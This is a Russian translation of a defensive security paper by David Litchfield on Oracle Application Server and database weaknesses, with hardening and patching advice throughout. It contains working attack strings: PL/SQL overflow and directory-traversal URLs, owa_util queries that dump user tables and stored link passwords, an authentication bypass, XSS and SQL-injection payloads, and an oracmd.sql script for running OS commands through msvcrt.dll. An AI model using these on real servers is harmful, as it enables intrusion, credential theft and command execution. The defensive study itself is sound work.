Автор: Дэвид Личфилд
Предисловие переводчика
В данной статье рассмотрены некоторые уязвимости web-интерфейсов Oracle. В принципе, никаких неизвестных разработчикам ошибок здесь не представлено. Одни уязвимости устраняются надлежащим администрированием Oracle, в частности, простым редактированием конфигурационных файлов; для других нужно применить заплаты, доступные в сайте Oracle Metalink. Ценность этой публикации заключается прежде всего в том, что она показывает, насколько изощренными могут быть способы атак на Oracle, насколько дисциплинированными и предусмотрительными должны быть администраторы баз данных, операционных систем, сетевых компонентов и т. д.
Перевод публикуется с сокращениями.
Содержание
- *Введение
- *Архитектура Oracle
- *Oracle Apache
- *PL/SQL
- *Переполнение буфера PL/SQL
- *Прослеживание каталогов
- *Администрирование PL/SQL
- *?Отказ в обслуживании? при авторизации модулем PL/SQL
- *Пакет PL/SQL OWA_UTIL
- *Обход аутентификации PL/SQL
- *Уязвимости кросс-сайтовых скриптов PL/SQL
- *OracleJSP
- *Трансляционные файлы JSP
- *Доступ к файлу Global.jsa
- *?Интоксикация? JSP SQL
- *Отображение физических путей доступа к JSP
- *XSQL
- *Доступ к конфигурационному файлу XSQL
- *?Интоксикация? XSQL SQL
- *Таблицы стилей XSQL
- *SOAP (Simple Object Access Protocol)
- *Внедрение приложений SOAP
- *Конфигурационный файл SOAP
- *УМОЛЧАНИЯ
- *Dynamic Monitoring Services (сервисы динамического мониторинга)
- *Oracle Java Process Manager (диспетчер процессов Oracle Java)
- *Псевдоним Perl
- *ДЕМОНСТРАЦИОННЫЕ СТРАНИЦЫ
- *PL/SQL
- *Листенер TNS
- *Проблемы безопасности листенера
- *EXTPROC и внешние процедуры
- *Безопасность баз данных Oracle
- *Внешние процедуры PL/SQL
- *Заключение
*Введение
Возможно, маркетинговая кампания о ?неуязвимости? Oracle направлена на демонстрацию приверженности корпорации Oracle созданию защищенных продуктов, и действительно, Oracle относится к информационной безопасности очень серьезно. Продукты Oracle подвергались проверке и прошли четырнадцать независимых оценок защиты, включая оценку по ?Общим критериям? (Common Criteria). В мире баз данных это очень большое достижение, оставившее далеко позади всех конкурентов Oracle. Хотя Oracle 9 еще не сертифицирована, нет никаких сомнений, что это скоро произойдет. Пока же данная статья, будем надеяться, поможет заказчикам Oracle поближе познакомиться с предлагаемой средой обеспечения безопасности.
Кому-то может показаться, что работа над статьей о защите Oracle представляет собой сизифов труд. Корпорация Oracle разрабатывает сотни продуктов, и каждый продукт мог бы иметь посвященную ему статью. Ограничивая рамки этого документа, мы будем проверять наиболее общую среду ? web-интерфейсы Oracle с сервером базы данных Oracle. Главный акцент будет на web-интерфейсах, однако мы также кратко затронем и саму базу данных. Более глубокое рассмотрение безопасности базы данных мы оставим для другой статьи. Такой подход был выбран потому, что web-сервер ? это первый ?порт захода? нарушителя. В статье будет показано, как нарушитель может ворваться в сайт на базе Oracle, получить управление над web-сервером, а через него и над сервером базы данных. Каждая показанная атака сопровождается объяснением защиты от нее. Некоторые проблемы, рассматриваемые в статье, требуют только простой модификации конфигурационных файлов; для разрешения других проблем могут потребоваться соответствующие заплаты, доступные в сайте Oracle Metalink: http://metalink.oracle.com/ .
*Архитектура Oracle
Типичный сайт Oracle состоит из web-сервера Oracle и сервера базы данных, защищенных сетевым экраном. В web-сервере Oracle запускается приложение, разработанное в организации, которой принадлежит сайт; это приложение пользуется преимуществами функциональных возможностей одной из богатых прикладных сред, обеспечиваемых Oracle Application Server. Это может быть приложение PL/SQL, JSP (Java Server Pages), XSQL, java-сервлеты или приложение на базе SOAP (Simple Object Access Protocol). (Также поддерживаются Perl, Fastcgi и другие подобные средства, но они не так часто используются ?в диком виде? и поэтому здесь не рассматриваются.) Получив клиентский запрос, приложение web-сервера осуществляет его диспетчеризацию и, если необходимо, соединяется с сервером базы данных.
Связь web-сервера и сервера базы данных осуществляется через листенер. Листенер отвечает за установление соединения с экземпляром базы данных Oracle, после чего участия во взаимодействии с клиентом он не принимает. Как мы увидим дальше в этой статье, у листенера есть и другие обязанности. Он играет ключевую роль в выполнении внешних процедур сервера базы данных.
*Oracle Apache
Корпорация Oracle выпустила свой web-сервер, известный под именем Oracle Web Listener, а сейчас по выбору в качестве web-сервера можно использовать Apache. В защите Oracle Web Listener имеются многочисленные дыры, по умолчанию и сервер Apache, поставляемый с Oracle Application Server, ненамного лучше. Его уязвимости: многочисленные проблемы ?переполнение буфера?, атаки типа ?отказ в обслуживании?, с ним поставляется слишком много опасных образцов страниц, аего установки по умолчанию оставляют желать много лучшего. Каждая прикладная среда имеет свои собственные уникальные проблемы, которые подвергают сервер опасности, но от них можно защититься.
*PL/SQL
Пакеты PL/SQL по существу представляют собой хранимые в базе данных процедуры. Пакеты содержат процедуры, которые могут вызываться непосредственно, а также функции, которые вызываются внутри пакетов. Модуль PL/SQL для Apache расширяет функциональные возможности web-сервера, позволяя web-серверу вызывать хранимые в базе данных пакеты PL/SQL. Лучше всего представлять модуль PL/SQL как шлюз из Web в сервер базы данных Oracle, использующий хранимые процедуры. По умолчанию все запросы, поступающие в web-сервер, которые начинаются с /pls, направляются для диспетчеризации в модуль PL/SQL. Клиентский запрос URL будет содержать имя DAD (Database Access Descriptor ? дескриптор доступа к базе данных), имя пакета PL/SQL в сервере базы данных и имя вызываемой процедуры. Любые параметры, которые нужно передать в процедуру, задаются в строке запроса:
http://oracleserver/pls/bookstore/books.search?cname=War+and+Peace
Данный URL имеет DAD ? "bookstore", вызываемый пакет PL/SQL ? "books", вызываемая процедура ? "search", в который передается параметр "cname" (имя книги для поиска). DAD указывает раздел в файле wdbsvr.app, который описывает, как Apache должен соединяться с сервером базы данных, и содержит такие детали как UserID (идентификатор пользователя) и пароль, используемые для аутентификации. Если не заданы никакие реквизиты доступа, web-клиент должен получить приглашение для их ввода. После соединения с сервером базы данных в базу данных загружается пакет "books" и выполняется процедура поиска ("search"). Результаты поиска передаются назад в web-сервер, который, в свою очередь, отправляет их запрашивающему клиенту.
*Переполнение буфера PL/SQL
Модуль PL/SQL имеет несколько уязвимостей типа ?переполнение буфера?. Они могут быть использованы для выполнения произвольного кода в уязвимом web-сервере. В Windows NT/2000 процесс apache работает в контексте защиты локального пользователя SYSTEM, так что любой выполняемый код будет работать с полными привилегиями. Первая уязвимость обнаруживается, когда делается запрос административной справочной страницы. Даже если административные страницы защищены и требуют ввода UserID или пароля, это не так для справочных страниц. Для проверки уязвимости вашего сайта введите:
http://oracleserver/pls/dadname/admin_/help/AAAAA......
Здесь AAAAAA..... ? слишком длинная строка (около 1000 байтов). Если возникнет ошибка нарушения доступа или дамп памяти, то ваш сервер уязвим и нужно применить заплату из сайта Metalink. Если заплату применить нельзя, то с целью уменьшения риска атаки следует изменить путь доступа к административному каталогу (/admin_/) таким образом, чтобы его было трудно угадать или подвергнуть ?лобовой? атаке. Для этого отредактируйте файл wdbsvr.app в каталоге $ORACLE_HOME$\Apache\modplsql\cfg.
Другое переполнение буфера возникает, когда делается аналогичный запрос, но на этот раз без имени DAD ("dadname"):
http://oracleserver/pls/admin_/help/AAAAA......
В этом случае сервер apache перенаправляет запрос в /pls/dadname/admin_/help/AAAAA......, где "dadname" ? имя DAD по умолчанию. Здесь возникает переполнение буфера. И вновь следует инсталлировать заплату и изменить путь доступа к административному каталогу.
Другое переполнение буфера возникает, когда делается запрос клиентом, задающим реквизиты доступа к web-серверу (в HTTP-заголовке ?Authorization?). Слишком длинный пароль приведет к переполнению буфера. Любой передаваемый код кодируется по базе 64, поэтому его не так легко распознать.
Для всех этих уязвимостей следует загрузить и инсталлировать заплаты из сайта Metalink.
*Прослеживание каталогов
Модулем PL/SQL можно воспользоваться для раскрытия корневого каталога Web и доступа к произвольным файлам, доступных пользователю операционной системы, под именем которого работает web-сервер. Для проверки уязвимости вашего сайта откройте:
http://oracleserver/pls/dadname/admin_/help/..%255Cplsql.conf
Эта проблема возникает из-за того, что модуль PL/SQL имеет проблему двойного декодирования URL. На первом проходе он преобразовывает %255C в %5C, а на втором проходе преобразовывает %5C в "\", и становится возможным обход каталогов. Для защиты инсталлируйте заплату из сайта Metalink.
*Администрирование PL/SQL
По умолчанию есть возможность удаленного администрирования DAD?ов PL/SQL без аутентификации. Очевидно, это не очень хорошо. Хотя это не предоставляет нарушителям возможности выполнения команд, они могут попытаться изменить UserID и пароль, используемые для соединения с сервером базы данных, пробуя повысить привилегии, используя имена пользователей и пароли, создаваемые по умолчанию, такие, как SYS, SYSTEM или CTXSYS. В ?лучшем? случае они смогут добиться ?отказа в обслуживании?. Уязвимость сайта покажет запрос:
http://oracleserver/pls/dadname/admin_/
Если будет возвращена административная страница, то уязвимость имеется. Для защиты потребуется несколько шагов. Сначала нужно отредактировать файл wdbsvr.app в каталоге $ORACLE_HOME$\Apache\modplsql\cfg. Нужно изменить запись adminPath, чтобы путь доступа к административному каталогу было трудно угадать или подвергнуть ?лобовой? атаке. Следует также добавить пароль.
*?Отказ в обслуживании? при авторизации модулем PL/SQL
В модуле PL/SQL имеется проблема с ?отказом в обслуживании?. Когда модуль принимает запрос с плохо сформированным клиентским HTTP-заголовком ?Authorization? (не установлен тип авторизации, такой, как Basic Apache), возникает ошибка нарушения доступа или дамп памяти. Для разрешения этой проблемы нужно инсталлировать заплату, подготовленную Oracle. Она доступна в сайте Metalink.
*Пакет PL/SQL OWA_UTIL
Пакет OWA_UTIL обеспечивает сервисы, связанные с Web (совместно с такими пакетами, как HTP, используемый для создания содержания HTML, и HTF, в котором имеется функция, выдающая теги HTML). Эти пакеты, как и другие, инсталлируются как часть PL/SQL Toolkit.
Пакет OWA_UTIL имеет много процедур, которые могут вызываться непосредственно из Web. В данном документе будут рассмотрены: signature, showsource, cellsprint, listprint и show_query_columns.
owa_util.signature
Эта процедура ничего не делает, а только возвращает сообщение ? ее можно использовать для проверки возможности получения доступа к пакету owa_util. Она не требует никаких параметров, хотя их можно задавать. Пример запроса:
http://oracleserver/pls/dadname/owa_util.signature
Если возвращается сообщение, в которое входит строка:
This page was produced by the PL/SQL Cartridge on December 21, 2001 04:50 AM
То доступ к пакету owa_util может быть получен.
Если сообщение не возвращается и web-сервер выдает ответы 500 или 403, то пакет, возможно, защищен. В большинстве случаев, в зависимости от способа защиты, ее можно обойти, вставляя в начале пробел, символ табуляции или новой строки:
http://oracleserver/pls/dadname/%20owa_util.signature
http://oracleserver/pls/dadname/%0Aowa_util.signature
http://oracleserver/pls/dadname/%08owa_util.signature
Независимо от способа получения доступа он позволяет вызывать другие процедуры.
owa_util.showsource
Эта процедура выдает исходный код пакета, имя которого задается параметром ("cname"):
http://oracleserver/pls/dadname/owa_util.showsource?cname=owa_util
Этот запрос выдает исходный код пакета owa_util.
http://oracleserver/pls/dadname/owa_util.showsoucre?cname=books
Этот запрос выдает исходный код пакета books.
owa_util.cellsprint
Эта процедура позволяет выполнять произвольные запросы SQL (SELECT). Ей требуется один параметр, "p_theQuery", но можно задавать и второй, "p_max_rows", который указывает количество возвращаемых строк. Если параметр "p_max_rows" не задан, возвращается 100 строк. Запрос:
http://oracleserver/pls/dadname/owa_util.cellsprint?p_theQuery=select * from sys.dba_users
выдает первые 100 строк таблицы dba_users схемы sys. Запрос:
http://oracleserver/pls/dadname/owa_util.cellsprint?p_theQuery=select * from sys.dba_users&p_max_rows=1000
выдает 1000 той же таблицы.
Особый интерес представляет таблица sys.link$. Она содержит список других серверов баз данных, соединенных с запрашиваемым сервером. В ней также хранятся в открытом тексте UserID и пароли, используемые для установления соединения. Если такая информация имеется, можно устанавливать ?доверенные? соединения с другими серверами баз данных.
http://oracleserver/pls/dadname/owa_util.cellsprint?p_theQuery=select * from sys.dba_users@other.world
Задав здесь вместо other.world значение из столбца name таблицы sys.link$, можно определить имя другого сервера базы данных (из столбца host), а затем соединиться с ним, используя указанные UserID и пароль, и запросить sys.dba_users.
owa_util.listprint
Эта процедура, как и процедура cellsprint, позволяет выполнять произвольные запросы SQL, но с одним отличием ? если выполняется ?select *?, возвращается только один столбец, первый. Вместо ?select *?, нужно задавать ?select имя_столбца?:
http://oracleserver/pls/dadname/owa_util.listprint?p_theQuery=select%20username%20from%20sys.dba_users&p_cname=&p_nsize=
Здесь возникает вопрос: как находить имена столбцов данной таблицы?
owa_util.show_query_columns
Эта процедура позволяет находить имена столбцов таблицы. Ей требуется один параметр, "ctable" ? имя таблицы.
http://oracleserver/pls/dadname/owa_util.show_query_columns?ctable=sys.dba_users
Возвращаемая HTML-страница будет содержать список имен.
Как видно, если нарушитель имеет доступ к пакету OWA_UTIL, он сможет исследовать базу данных. OWA_UTIL ? это пример одного пакета, доступ к которому следует предотвращать. Кроме того, нужно защищать все пакеты dbms_*, htp, utl* и другие, которые кажутся вам опасными. Для этого отредактируйте файл wdbsvr.app и добавьте соответствующие пункты в список исключений (exclusion_list).
*Обход аутентификации PL/SQL
В некоторых ситуациях при вызове пакетов PL/SQL возможен обход процесса аутентификации. Представим интерактивную банковскую систему, которая разрешает регистрацию клиентов в режиме on-line. Для этого используется приложение PL/SQL (reg), которое имеет свой собственный дескриптор доступа к базе данных (DAD) с UserID и паролем, разрешая таким образом ?анонимный? доступ всем, кто захочет зарегистрироваться. Зарегистрировавшись, пользователь получает доступ к реальному банковскому приложению PL/SQL (account), которое также имеет свой собственный DAD. В этом DAD не содержится UserID и пароль, поэтому когда пользователь пытается обратиться к банковскому приложению, ему будет предложено ввести реквизиты доступа. URL банковского сайта будут выглядеть примерно следующим образом:
http://oracleserver/pls/register/reg.signup
http://oracleserver/pls/banking/account.welcome
Поскольку DAD представляют собой просто описания, как получить доступ к серверу базы данных, аутентификацию банковского приложения можно обойти простой подменой DAD:
http://oracleserver/pls/register/account.welcome
По этому запросу доступ будет разрешен, так как UserID и пароль в DAD приложения "reg" аутентифицировали пользователя в сервере базы данных. Для защиты от этого есть два способа. Прежде всего, приложение "account" нужно создавать в другой схеме базы данных, отличной от схемы приложения "reg". UserID, используемый для получения доступа к приложению "reg", не должен иметь доступа к чему-либо в схеме приложения "account". Другой способ защиты от проблем подобного рода: отредактируйте файл wdbsvr.app и добавьте соответствующий пункт в список исключений (exclusion_list):
exclusion_list= account*, sys.*, dbms_*, owa*
*Уязвимости кросс-сайтовых скриптов PL/SQL
По умолчанию разрешен доступ к пакету PL/SQL htp. Этот пакет экспортирует в выходной HTML процедуры и теги HTML. Многие процедуры могут быть использованы для организации атак типа ?кросс-сайтовые скрипты?:
http://oracleserver/pls/dadname/htp.print?cbuf=<script>alert(?Doh!?)</script>
Эти атаки представляют собой потенциальную угрозу, поэтому доступ к пакету должен быть закрыт добавлением соответствующего пункта в список исключений файла файл wdbsvr.app.
*OracleJSP
В данном разделе рассмотрены как приложения JSP, так и приложения SQLJSP, так как они оба диспетчеризируются одним компонентом, OracleJSP.
*Трансляционные файлы JSP
Когда web-клиент запрашивает страницу JSP, эту страницу сначала нужно транслировать в приложение .java. Для этого процесса требуется создать исходный файл .java, который затем ?на лету? компилируется в файлы .class. Эти файлы остаются в файловой системе, и к ним можно обращаться из Web. По умолчанию ничто не запрещает доступ анонимного пользователя к исходному файлу .java, который содержит бизнес-логику, логику приложения и часто UserID и пароли, используемые для соединения с сервером базы данных. Создается три трансляционных файла. При запросе страницы "/foo.jsp" будут созданы следующие трансляционные файлы:
- _foo$__jsp_StaticText.class
- _foo.class
- _foo.java
Они сохраняются в web-каталоге "/_pages". Если foo.jsp находится в подкаталоге "bar", то есть в "/bar/foo.jsp", в каталоге "_pages" будет создан каталог "_bar", в который будут помещены эти три файла. Более подробно о правилах именования можно прочитать в
http://download-west.oracle.com/otndoc/oracle9i/901_doc/java.901/a90208/trandepl.htm
Для предотвращения доступа нарушителя к этим трансляционным файлам нужно модифицировать файл httpd.conf, добавив в него:
<Location /_pages>
Order deny,allow
Deny from all
</Location>
Заметим, если страницы JSP хранятся в каталоге с псевдонимом (то есть не в подкаталоге каталога "htdocs"), нужно добавить:
<Location /dirname/_pages>
Order deny,allow
Deny from all
</Location>
где "dirname" ? имя каталога с псевдонимом.
*Доступ к файлу Global.jsa
Так же, как и к трансляционным файлам JSP, возможен непосредственный доступ к файлу globals.jsa. Этот файл содержит информацию о приложении и часто может содержать UserID и пароль. Если JSP-приложение использует файл globals.jsa, его нужно защитить, добавив в файл httpd.conf:
<Files ~ "^\globals.jsa">
Order allow,deny
Deny from all
</Files>
*?Интоксикация? JSP SQL
Так же, как и в любой прикладной среде, необходимо обеспечивать безопасность клиентского ввода перед использованием его в какой-либо логике. В частности, одиночные кавычки в символьных строках клиентского ввода перед их использованием в запросах SQL следует удваивать или удалять вообще; если предполагается, что клиент ввел числовые данные, следует обеспечить, чтобы это действительно были числовые данные. Oracle не поддерживает пакетирование нескольких запросов SQL, как это делает Microsoft SQL Server, тем не менее в Oracle могут быть проблемы с UNION и вложенными подзапросами.
*Отображение физических путей доступа к JSP
Когда запрашивается несуществующая JSP-страница, в java возникает исключение FileNotFoundException и в сообщении об ошибке содержится физический путь доступа к файлу. Эта проблема имеет низкую степень риска, тем не менее, для защиты создайте стандартную JSP-страницу, которая будет обрабатывать такие исключения.
*XSQL
*Доступ к конфигурационному файлу XSQL
Конфигурационный файл XSQL можно найти в $/xsql/lib/XSQLConfig.xml. Он содержит такую информацию, как имя сервера базы данных, UserID и пароль. Поскольку этот файл может быть найден в виртуальном каталоге, его часто можно выгрузить в просматриваемом содержании. Если же он защищен и запрос возвращает ошибку 403 (доступ запрещен), тем не менее, доступ к нему можно получить, запросив файл с помощью XSQLServlet:
http://oracleserver/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml
Это позволяет обойти защиту.
*?Интоксикация? XSQL SQL
В зависимости от того, как написан файл xsql, может появиться возможность выполнения в сервере базы данных произвольных запросов SQL. Рассмотрим следующий код:
<?xml version="1.0"?>
<xsql:query connection="demo" xmlns:xsql="urn:oracle-xsql">
SELECT * FROM USERS_TABLE WHERE NAME = '{@name}'
</xsql:query>
Если его сохранить как file.xsql, запрос может быть примерно таким:
http://oracleserver/file.xsql?name=foobar
Результат будет возвращен в браузер в формате XML. Однако, добавив в конце параметра name одиночную кавычку, можно выполнить второй запрос:
http://oracleserver/file.xsql?name=foobar? union select * from foo-
Как уже указывалось, но ?повторение ? мать учения?: перед включением клиентского ввода в запросы SQL его следует проверять. Для выполнения произвольных запросов SQL может быть использована одна из демонстрационных страниц XSQL, которую следует удалить:
http://oracleserver/xsql/java/xsql/demo/adhocsql/query.xsql?xml-stylesheet=none.xsl&sql=select+*+from+sys.dba_users
*Таблицы стилей XSQL
Ранние версии разборщика XSQL были уязвимы для атак типа ?выполнение произвольного XML?. Указав таблицу стилей, которая существует на другом сайте, можно заставить web-сервер соединиться с этим удаленным сайтом и загрузить в него XML, выполняющий все, что в нем содержится. Эта проблема была рассмотрена Georgi Guninski.
*SOAP (Simple Object Access Protocol)
*Внедрение приложений SOAP
В обычной инсталляции Oracle 9iAS версии 1.0.2.2.1 инсталлируются компоненты Oracle SOAP и разрешается доступ удаленных анонимных пользователей к приложениям SOAP. Этим нужно заниматься сразу же, насколько это возможно, для проверки уязвимости сервера можно выполнить запрос:
http://oracleserver/soap/servlet/soaprouter
Если сервер уязвим, его нужно защищать. Более подробно см. http://technet.oracle.com/deploy/security/pdf/ias_soap_alert.pdf .
*Конфигурационный файл SOAP
Файл soapConfig.xml следует защищать. Это не делается по умолчанию. К нему можно обратиться непосредственно или с помощью XSQLServlet:
http://oracleserver/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml
http://oracleserver/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml
*УМОЛЧАНИЯ
Многие из сервисов, инсталлируемых с Oracle Apache, такие, как Dynamic Monitoring Services, могут быть доступны удаленным анонимным пользователям. Для предотвращения доступа к перечисленным ниже страницам следует отредактировать файл httpd.conf.
*Dynamic Monitoring Services (сервисы динамического мониторинга)
http://oracleserver/dms0
http://oracleserver/dms/DMSDump
http://oracleserver/servlet/DMSDump
http://oracleserver/servlet/Spy
http://oracleserver/soap/servlet/Spy
http://oracleserver/dms/AggreSpy
*Oracle Java Process Manager (диспетчер процессов Oracle Java)
http://oracleserver/oprocmgr-status
http://oracleserver/oprocmgr-service (в настоящее время не работает)
*Псевдоним Perl
В некоторых версиях Oracle Application Server виртуальный каталог "/perl" имеет физический адрес, совпадающий с физическим адресом виртуального каталога "/cgi-bin". Вместе с тем, "/perl" помечен как псевдоним Apache, а не как ScriptAlias (псевдоним каталога, содержащего CGI-скрипты ? прим. пер.). Следовательно, исходный текст любого скрипта в "/cgi-bin" может быть доступен через каталог "/perl". Это нужно исправить модификацией файла httpd.conf, пометив псевдоним "/perl" как ScriptAlias. С другой стороны, если Perl не используется, его можно безболезненно убрать.
*ДЕМОНСТРАЦИОННЫЕ СТРАНИЦЫ
Опасные демонстрационные страницы
Многие из демонстрационных страниц, инсталлируемых с Oracle Application Server, могут быть использованы для разрушения системы. Например:
http://oracleserver/demo/email/sendmail.jsp
может быть использована для отправки произвольных e-mail?ов. Другие могут быть использованы для атак типа ?инъекция SQL?, в других возможна утечка информации, например:
http://oracleserver/demo/basic/info/info.jsp
Этот запрос выдает информацию о переменных окружения. То же самое делают "/cgi-bin/printenv", "/fcgi-bin/echo" и "/fcgi-bin/echo2".
Перед вводом web-сервера в промышленную эксплуатацию следует удалить все демонстрационные страницы и скрипты.
*Листенер TNS
TNS (Transparent Network Substrate ? прозрачная сетевая среда) ? протокол, используемый клиентами Oracle для соединения с базой данных через листенер. Листенер прослушивает по порту TCP 1521 (по умолчанию ? прим. пер.) запросы клиентов на доступ к базе данных; получив такой запрос, он запускает новый процесс Oracle, который информирует листенер о порте TCP, по которому ожидается соединение. Листенер информирует клиента об этом порте, затем клиент соединяется непосредственно с процессом базы данных. Если база данных сконфигурирована как MTS (Multi Threaded Server ? многопотоковый сервер), создается только два экземпляра процессов и каждый клиент будет обслуживаться одним из этих процессов, прослушивающим фиксированный порт. Кроме обработки клиентских запросов на соединение листенер играет ключевую роль в обработке запросов внешних процедур. Но об этом позже, сначала проверим сам листенер.
*Проблемы безопасности листенера
Предыдущие версии листенера имели многочисленные проблемы типа ?переполнение буфера?. Это было исследовано в Covert Labs of Network Associates, и в сайте Metalink доступны соответствующие заплаты. Они не поставляются с дистрибутивом листенера, поэтому только что инсталлированный листенер может быть легко скомпрометирован (то есть небольшие модификации позволяют сделать листенер гораздо более защищенным). Об этом ранее писал Howard Smith из корпорации Oracle, поэтому здесь этот материал не оговаривается (статья Говарда Смита ?Информационная безопасность Oracle 9 i ? была опубликована в OM/RE ? прим. пер.).
*EXTPROC и внешние процедуры
Пакеты PL/SQL могут быть расширены для вызова внешних функций из библиотек или DLL (Dynamic Link Library ? динамически подключаемая библиотека). Когда пакету PL/SQL во время выполнения в сервере базы данных требуется выполнить внешнюю процедуру, процесс Oracle соединяется с листенером и просит его загрузить соответствующую библиотеку, вызвать нужную функцию и передать ей посланные ему параметры. Листенер не загружает библиотеку в свое собственное адресное пространство, а запускает другой процесс (extproc на платформах Unix или extproc.exe на платформах Windows) и сообщает об этом процессу Oracle. Процесс Oracle соединяется с процессом extproc, используя именованные каналы (named pipes) и делает такой же запрос, какой он сделал листенеру. Процесс extproc загружает библиотеку и вызывает функцию. Для всего этого не выполняется совсем никакой аутентификации, что открывает явную и чрезвычайно опасную дыру в защите.
У нарушителя появляется возможность выдать себя за процесс Oracle и выполнить любую функцию в любой DLL файловой системы. В чем острота этой проблемы? Действия можно выполнять удаленно. Поэтому нарушитель может написать поделку, которая через TCP соединится с листенером/extproc и даже без аутентификации выполнит любую функцию, которую он пожелает. Пример возможной реальной атаки: вызов функции system(), экспортируемой библиотекой msvcrt.dll на платформах Windows, или exec() или system(), экспортируемыми libc на платформах Unix. Любая команда операционной системы, переданная в эти функции как параметр, будет выполняться в контексте защиты учетной записи, выполняющей процессы Oracle. В системах Unix ? это обычно пользователь "oracle", в Windows NT/2000 ? это по умолчанию локальный пользователь SYSTEM. Излишне говорить, что любая команда, выполненная от имени этих пользователей, будет иметь неприятные последствия для подключенной компьютерной системы.
Для уменьшения риска от подобных атак можно принять несколько мер. Первая линия обороны, естественно, ? использование сетевых экранов. Никто из Интернета не должен иметь возможности доступа к порту листенера 1521. Это не только поможет снизить риск, связанный с этой проблемой, но также уменьшит и другие. Имея web-сервер, защищенный так, как это описано в данном документе, можно уменьшить риски, исходящие от web-сервера, до минимума. Кроме того, следует инсталлировать заплату, доступную в сайте Metalink. Если заплата не может быть инсталлирована, можно ограничить количество машин, которые могут иметь доступ к листенеру. Хотя этот механизм защиты базируется только на IP-адресах, он помогает. Этот процесс называется "valid node checking" (проверка допустимых узлов) и требует модификации файла sqlnet.ora в каталоге $ORACLE_HOME\network\admin. Добавьте следующие строки:
tcp.validnode_checking = YES
tcp.invited_nodes = (10.1.1.2, scylla)
Само собой разумеется, замените 10.1.1.2 и Scylla на хосты, которым требуется доступ. Любой хост, не перечисленный здесь, по-прежнему будет иметь возможность установить по TCP соединение с листенером, но листенер будет просто завершать это соединение. Включаемые в список узлы следует ограничивать только теми машинами, которым требуется доступ. Другой шаг по снижению рисков ? установить прослушивание листенера не по порту, устанавливаемому по умолчанию (то есть не по порту 1251). Хотя это и не великое решение, так как любой, используя сканер портов TCP, имеет шанс найти листенер, оно также помогает. И наконец, в Windows NT/2000 процессы Oracle не должны работать под локальным пользователем SYSTEM. Рекомендуется создавать менее привилегированную учетную запись, под которой будут работать процессы Oracle. Этой учетной записи нужно будет выдать привилегию "Logon as a service".
*Безопасность баз данных Oracle
Как было указано в начале данной статьи, мы рассматриваем только несколько областей безопасности баз данных. Более подробное обсуждение будет проведено в следующих документах. В данном разделе мы рассмотрим следующие темы:
- внешние процедуры PL/SQL и
- пользователи и пароли, создаваемые по умолчанию (этот раздел из публикации исключен, так как данная тема была достаточно подробно рассмотрена в предыдущих выпусках OM/RE ? прим. пер.).
*Внешние процедуры PL/SQL
Несмотря на то, что мы уже рассмотрели проблемы листенера с удаленным выполнением внешних процедур, проверим их выполнение из самой базы данных. Для того чтобы иметь возможность выполнения внешних процедур из Oracle, должна быть создана библиотека (пользователем, который имеет привилегию CREATE LIBRARY). По умолчанию библиотеки могут создавать пользователи internal, sys, system, ctxsys и mtxsys. Если один из этих пользователей или любой другой, имеющий необходимую привилегию скомпрометирован, нарушитель получает возможность создать библиотеку и пакет PL/SQL, которые смогут выполнять команды операционной системы в контексте защиты учетной записи операционной системы, под которой работают процессы Oracle. Типичный скрипт SQL, который может это делать, выглядит примерно следующим образом.
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\winnt\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd
IS PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
Выполнение этого скрипта показано ниже.
C:\>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl
Connected.
SQL> @c:\oracmd.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:\oracle.txt);
Нужно проявлять бдительность. Чтобы не было таких злоупотреблений, следует тщательно выполнять мониторинг пользователей, которые могут создавать пакеты или библиотеки.
*Заключение
Надеемся, что данный документ показал, что до того как база данных Oracle будет размещена во враждебной среде, такой, как Интернет, нужно многое сделать. Существует много доступных хороших ресурсов, которые могут помочь защитить инсталляцию Oracle.